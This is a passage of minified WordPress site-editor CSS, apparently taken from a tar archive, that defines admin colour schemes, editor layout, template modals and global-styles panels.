.a11y-speak-region,body.js.site-editor-php .a11y-speak-region{right:-1px;top:-1px}body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}body.js.site-editor-php{background:#1e1e1e}.components-modal__frame,.edit-site{box-sizing:border-box}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-site *,.edit-site :after,.edit-site :before{box-sizing:inherit}.edit-site{height:100vh}@media (min-width:600px){.edit-site{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js .edit-site{min-height:0;position:static}.edit-site .interface-interface-skeleton{top:0}.edit-site .interface-complementary-area__pin-unpin-item.components-button{display:none}.edit-site .interface-interface-skeleton__content{background-color:#1e1e1e}@keyframes edit-post__fade-in-animation{0%{opacity:0}to{opacity:1}}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/edit-site/style.min.css000064400000274050151202620300012621 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-right:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-right:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-left:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-left:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:auto;right:10px;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-left:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;max-height:100%;position:fixed;right:0;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{left:0}@media (min-width:783px){.interface-interface-skeleton{left:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{left:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{left:160px}}.folded .interface-interface-skeleton{left:0}@media (min-width:783px){.folded .interface-interface-skeleton{left:36px}}body.is-fullscreen-mode .interface-interface-skeleton{left:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-left:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-right:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;left:0;position:absolute;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-left:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-left:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-left:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:280px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:4px;margin-right:-4px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}.interface-preferences-modal{height:calc(100% - 120px);width:calc(100% - 32px)}}@media (min-width:782px){.interface-preferences-modal{width:750px}}@media (min-width:960px){.interface-preferences-modal{height:70%}}@media (max-width:781px){.interface-preferences-modal .components-modal__content{padding:0}}.interface-preferences__tabs .components-tab-panel__tabs{left:16px;position:absolute;top:84px;width:160px}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{border-radius:2px;font-weight:400}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{background:#f0f0f0;box-shadow:none;font-weight:500}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active:after{content:none}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus-visible:before{content:none}.interface-preferences__tabs .components-tab-panel__tab-content{margin-left:160px;padding-left:24px}@media (max-width:781px){.interface-preferences__provider{height:100%}}.interface-preferences-modal__section{margin:0 0 2.5rem}.interface-preferences-modal__section:last-child{margin:0}.interface-preferences-modal__section-legend{margin-bottom:8px}.interface-preferences-modal__section-title{font-size:.9rem;font-weight:600;margin-top:0}.interface-preferences-modal__section-description{color:#757575;font-size:12px;font-style:normal;margin:-8px 0 8px}.interface-preferences-modal__option+.interface-preferences-modal__option{margin-top:16px}.interface-preferences-modal__option .components-base-control__help{margin-left:48px;margin-top:0}.edit-site-custom-template-modal__contents-wrapper{height:100%;justify-content:flex-start!important}.edit-site-custom-template-modal__contents-wrapper>*{width:100%}.edit-site-custom-template-modal__contents-wrapper__suggestions_list{margin-left:-12px;margin-right:-12px;width:calc(100% + 24px)}.edit-site-custom-template-modal__contents>.components-button{height:auto;justify-content:center}.edit-site-custom-template-modal .components-search-control input[type=search].components-search-control__input{background:#fff;border:1px solid #ddd}.edit-site-custom-template-modal .components-search-control input[type=search].components-search-control__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color)}@media (min-width:782px){.edit-site-custom-template-modal{width:456px}}@media (min-width:600px){.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{overflow:scroll}}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{display:block;height:auto;overflow-wrap:break-word;padding:8px 12px;text-align:left;white-space:pre-wrap;width:100%}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{background:none;font-weight:700}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{color:var(--wp-admin-theme-color)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{background-color:#f0f0f0}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{display:block;overflow:hidden;text-overflow:ellipsis}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{color:#757575;word-break:break-all}.edit-site-custom-template-modal__no-results{border:1px solid #ccc;border-radius:2px;padding:16px}.edit-site-custom-generic-template__modal .components-modal__header{border-bottom:none}.edit-site-custom-generic-template__modal .components-modal__content:before{margin-bottom:4px}.edit-site-template-actions-loading-screen-modal{-webkit-backdrop-filter:none;backdrop-filter:none;background-color:transparent}.edit-site-template-actions-loading-screen-modal.is-full-screen{background-color:#fff;box-shadow:0 0 0 transparent;min-height:100%;min-width:100%}.edit-site-template-actions-loading-screen-modal__content{align-items:center;display:flex;height:100%;justify-content:center;left:50%;position:absolute;transform:translateX(-50%)}.edit-site-add-new-template__modal{margin-top:64px;max-height:calc(100% - 128px);max-width:832px;width:calc(100% - 64px)}@media (min-width:960px){.edit-site-add-new-template__modal{width:calc(100% - 128px)}}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{fill:var(--wp-admin-theme-color)}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{align-items:flex-start;flex-grow:1}.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:100%;max-height:40px;max-width:40px;padding:8px}.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{border:1px solid #ddd;border-radius:2px;display:flex;flex-direction:column;justify-content:center;outline:1px solid transparent;padding:32px}.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{color:#1e1e1e}.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{color:#757575}.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:transparent;color:var(--wp-admin-theme-color-darker-10)}.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{border-color:transparent;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid transparent}.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{grid-column-end:4;grid-column-start:1}.edit-site-add-new-template__template-list__contents>.components-button{align-items:flex-start;height:100%;text-align:start}.edit-site-block-editor__editor-styles-wrapper .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.edit-site-block-editor__editor-styles-wrapper .components-button.has-icon,.edit-site-block-editor__editor-styles-wrapper .components-button.is-tertiary{padding:6px}.edit-site-block-editor__block-list.is-navigation-block{padding:24px}.edit-site-visual-editor{align-items:center;background-color:#1e1e1e;display:block;height:100%;overflow:hidden;position:relative}.edit-site-visual-editor iframe{background:#fff;display:block;height:100%;width:100%}.edit-site-visual-editor .edit-site-visual-editor__editor-canvas{height:100%}.edit-site-visual-editor .edit-site-visual-editor__editor-canvas.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-layout.is-full-canvas .edit-site-visual-editor.is-focus-mode{padding:48px}.edit-site-visual-editor.is-focus-mode .edit-site-visual-editor__editor-canvas{border-radius:2px;max-height:100%}.edit-site-visual-editor.is-focus-mode .components-resizable-box__container{overflow:visible}.edit-site-visual-editor .components-resizable-box__container{margin:0 auto;overflow:auto}.edit-site-visual-editor.is-view-mode{box-shadow:0 20px 25px -5px rgba(0,0,0,.8),0 8px 10px -6px rgba(0,0,0,.8)}.edit-site-visual-editor.is-view-mode .block-editor-block-contextual-toolbar.is-fixed{display:none}.edit-site-visual-editor__back-button{color:#fff;left:8px;position:absolute;top:8px}.edit-site-visual-editor__back-button:active:not([aria-disabled=true]),.edit-site-visual-editor__back-button:focus:not([aria-disabled=true]),.edit-site-visual-editor__back-button:hover{color:#f0f0f0}.resizable-editor__drag-handle{-webkit-appearance:none;appearance:none;background:none;border:0;border-radius:2px;bottom:0;cursor:ew-resize;margin:auto 0;outline:none;padding:0;position:absolute;top:0;width:12px}.resizable-editor__drag-handle.is-variation-default{height:100px}.resizable-editor__drag-handle.is-variation-separator{height:100%;right:0;width:24px}.resizable-editor__drag-handle.is-variation-separator:after{background:transparent;border-radius:0;left:50%;right:0;transform:translateX(-1px);transition:all .2s ease;transition-delay:.1s;width:2px}@media (prefers-reduced-motion:reduce){.resizable-editor__drag-handle.is-variation-separator:after{animation-delay:0s;animation-duration:1ms;transition-delay:0s;transition-duration:0s}}.resizable-editor__drag-handle:after{background:#949494;border-radius:2px;bottom:24px;content:"";left:4px;position:absolute;right:0;top:24px;width:4px}.resizable-editor__drag-handle.is-left{left:-16px}.resizable-editor__drag-handle.is-right{right:-16px}.resizable-editor__drag-handle:active,.resizable-editor__drag-handle:hover{opacity:1}.resizable-editor__drag-handle:active.is-variation-default:after,.resizable-editor__drag-handle:hover.is-variation-default:after{background:#ccc}.resizable-editor__drag-handle:active.is-variation-separator:after,.resizable-editor__drag-handle:hover.is-variation-separator:after{background:var(--wp-admin-theme-color)}.resizable-editor__drag-handle:focus:after{box-shadow:0 0 0 1px #2f2f2f,0 0 0 calc(var(--wp-admin-border-width-focus) + 1px) var(--wp-admin-theme-color)}.resizable-editor__drag-handle.is-variation-separator:focus:after{border-radius:2px;box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{left:0}@media (min-width:783px){.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{left:160px}}@media (min-width:783px){.auto-fold .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{left:36px}}@media (min-width:961px){.auto-fold .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{left:160px}}.folded .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{left:0}@media (min-width:783px){.folded .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{left:36px}}body.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{left:0!important}.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{display:block;position:sticky;top:0;width:100%;z-index:31}@media (min-width:782px){.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{align-items:center;display:flex;height:60px;margin-left:180px;min-height:auto;position:fixed;top:32px;width:calc(100% - 180px)}.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed:empty{width:auto}.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{margin-left:240px;top:0}.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed:empty{width:auto}.show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{margin-left:80px;width:calc(100% - 140px)}.is-fullscreen-mode .show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{margin-left:144px}}@media (min-width:960px){.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed,.show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{width:auto}.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{width:calc(100% - 536px)}}.edit-site-canvas-loader{align-items:center;animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;animation-fill-mode:forwards;display:flex;height:100%;justify-content:center;left:0;opacity:0;position:absolute;top:0;width:100%}@media (prefers-reduced-motion:reduce){.edit-site-canvas-loader{animation-delay:0s;animation-duration:1ms}}.edit-site-canvas-loader>div{width:160px}@keyframes edit-site-canvas-loader__fade-in-animation{0%{opacity:0}to{opacity:1}}.edit-site-code-editor{background-color:#fff;min-height:100%;position:relative;width:100%}.edit-site-code-editor__body{margin-left:auto;margin-right:auto;max-width:1080px;padding:12px;width:100%}@media (min-width:960px){.edit-site-code-editor__body{padding:24px}}.edit-site-code-editor__toolbar{background:hsla(0,0%,100%,.8);display:flex;left:0;padding:4px 12px;position:sticky;right:0;top:0;z-index:1}@media (min-width:600px){.edit-site-code-editor__toolbar{padding:12px}}@media (min-width:960px){.edit-site-code-editor__toolbar{padding:12px 24px}}.edit-site-code-editor__toolbar h2{color:#1e1e1e;font-size:13px;line-height:36px;margin:0 auto 0 0}.edit-site-code-editor__toolbar .components-button svg{order:1}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{border:1px solid #949494;border-radius:0;box-shadow:none;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:16px!important;line-height:2.4;margin:0;min-height:200px;overflow:hidden;padding:16px;resize:none;transition:border .1s ease-out,box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{font-size:15px!important;padding:24px}}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-webkit-input-placeholder{color:rgba(30,30,30,.62)}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-moz-placeholder{color:rgba(30,30,30,.62);opacity:1}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:-ms-input-placeholder{color:rgba(30,30,30,.62)}.edit-site-global-styles-preview{align-items:center;cursor:pointer;display:flex;justify-content:center;line-height:1}.edit-site-global-styles-preview__iframe{display:block;max-width:100%}.edit-site-typography-preview{align-items:center;background:#f0f0f0;border-radius:2px;display:flex;justify-content:center;margin-bottom:16px;min-height:100px;overflow:hidden}.edit-site-typography-panel__full-width-control{grid-column:1/-1;max-width:100%}.edit-site-global-styles-screen-css,.edit-site-global-styles-screen-typography{margin:16px}.edit-site-global-styles-screen-typography__indicator{align-items:center;border-radius:2px;display:flex!important;font-size:14px;height:24px;justify-content:center;width:24px}.edit-site-global-styles-screen-colors{margin:16px}.edit-site-global-styles-screen-colors .color-block-support-panel{border-top:none;padding-left:0;padding-right:0}.edit-site-global-styles-header__description{padding:0 16px}.edit-site-block-types-search{margin-bottom:8px;padding:0 16px}.edit-site-global-styles-header{margin-bottom:0!important}.edit-site-global-styles-subtitle{font-size:11px!important;font-weight:500!important;margin-bottom:0!important;text-transform:uppercase}.edit-site-global-styles-section-title{color:#2f2f2f;font-weight:600;line-height:1.2;margin:0;padding:16px 16px 0}.edit-site-global-styles-variations_item{border-radius:2px;box-sizing:border-box}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{border-radius:2px;box-shadow:0 0 0 1px #e0e0e0;outline:1px solid transparent;padding:2px}.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #1e1e1e;outline-width:3px}.edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-global-styles-variations_item:focus-visible{outline:3px solid transparent;outline-offset:0}.edit-site-global-styles-icon-with-current-color{fill:currentColor}.edit-site-global-styles__color-indicator-wrapper{flex-shrink:0;height:24px}.edit-site-global-styles__block-preview-panel{border:1px solid #e0e0e0;border-radius:2px;overflow:auto;position:relative;width:100%}.edit-site-global-styles-screen-css{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack{flex:1 1 auto}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{direction:ltr;flex:1 1 auto}.edit-site-global-styles-screen-css-help-link{display:block;margin-top:8px}.edit-site-global-styles-screen-variations{border-top:1px solid #ddd;margin-top:16px}.edit-site-global-styles-screen-variations>*{margin:24px 16px}.edit-site-global-styles-sidebar__navigator-screen{display:flex;flex-direction:column}.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{background:unset;color:inherit}.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{fill:currentColor}[class][class].edit-site-global-styles-sidebar__revisions-count-badge{align-items:center;background:#2f2f2f;border-radius:2px;color:#fff;display:inline-flex;justify-content:center;min-height:24px;min-width:24px}.edit-site-global-styles-screen-revisions{margin:16px}.edit-site-global-styles-screen-revisions__revisions-list{list-style:none;margin:0}.edit-site-global-styles-screen-revisions__revisions-list li{border-left:1px solid #ddd;margin-bottom:0}.edit-site-global-styles-screen-revisions__revision-item{padding:8px 0 8px 12px;position:relative}.edit-site-global-styles-screen-revisions__revision-item:first-child{padding-top:0}.edit-site-global-styles-screen-revisions__revision-item:last-child{padding-bottom:0}.edit-site-global-styles-screen-revisions__revision-item:before{background:#ddd;border-radius:50%;content:"\a";display:inline-block;height:8px;left:0;position:absolute;top:50%;transform:translate(-50%,-50%);width:8px}.edit-site-global-styles-screen-revisions__revision-item.is-selected:before{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba))}.edit-site-global-styles-screen-revisions__revision-button{display:block;height:auto;padding:8px 12px;width:100%}.edit-site-global-styles-screen-revisions__revision-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-global-styles-screen-revisions__revision-button:hover .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.is-selected .edit-site-global-styles-screen-revisions__revision-button{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba));opacity:1}.is-selected 